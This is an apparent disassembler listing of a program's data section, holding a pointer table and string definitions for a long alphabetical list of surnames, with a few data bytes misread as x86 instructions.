dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset dword_430058
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
; ---------------------------------------------------------------------------
xor ah, ch
inc edx
add [esp+ebp*8], ah
inc edx
add [esp+ebp*8], bl
inc edx
add [esp+ebp*8], dl
inc edx
add [esp+ebp*8], cl
inc edx
add [esp+ebp*8], al
inc edx
add ah, bh
jmp short loc_42EC21
; ---------------------------------------------------------------------------
align 10h
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBE4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBE0o
align 4
aZurn db 'Zurn',0
align 4
aZucconi db 'Zucconi',0
aZoldak db 'Zoldak',0
align 4
aZerbini db 'Zerbini',0
dd 6167655Ah
db 6Eh
; ---------------------------------------------------------------------------
loc_42EC21: ; CODE XREF: ___:0042EBDDj
jnb short $+2
add [edx+61h], bl
outsb
db 67h
ja near ptr 0EC93h
insb
insb
; ---------------------------------------------------------------------------
dd 0
aZahedi db 'Zahedi',0
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBC0o
aYu db 'Yu',0 ; DATA XREF: ___:0042EBBCo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBB8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBB4o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBB0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EBACo
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EBA8o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EBA4o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EBA0o
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042EB9Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB98o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB94o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB90o
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB8Co
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042EB88o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB84o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB80o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042EB7Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB78o
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042EB74o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB70o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB6Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB68o
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB64o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB60o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB5Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB58o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB54o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB50o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB4Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB48o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB44o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB40o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB3Co
aViens db 'Viens',0 ; DATA XREF: ___:0042EB38o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB34o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB30o
aViano db 'Viano',0 ; DATA XREF: ___:0042EB2Co
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042EB28o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB24o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB20o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EB1Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB18o
aWhately db 'Whately',0 ; DATA XREF: ___:0042EB14o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB10o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EB0Co
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EB08o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042EB04o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EB00o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAFCo
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042EAF8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAF4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAF0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EAECo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAE8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAE4o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAE0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EADCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAD8o
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAD4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAD0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EACCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAC8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAC4o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAC0o
align 4
aWalter db 'Walter',0 ; DATA XREF: ___:0042EABCo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAB8o
align 10h
aWales db 'Wales',0 ; DATA XREF: ___:0042EAB4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAB0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EAACo
aWaite db 'Waite',0 ; DATA XREF: ___:0042EAA8o
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EAA4o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EAA0o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA9Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA98o
align 4
aUrban db 'Urban',0 ; DATA XREF: ___:0042EA94o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA90o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA8Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA88o
align 10h
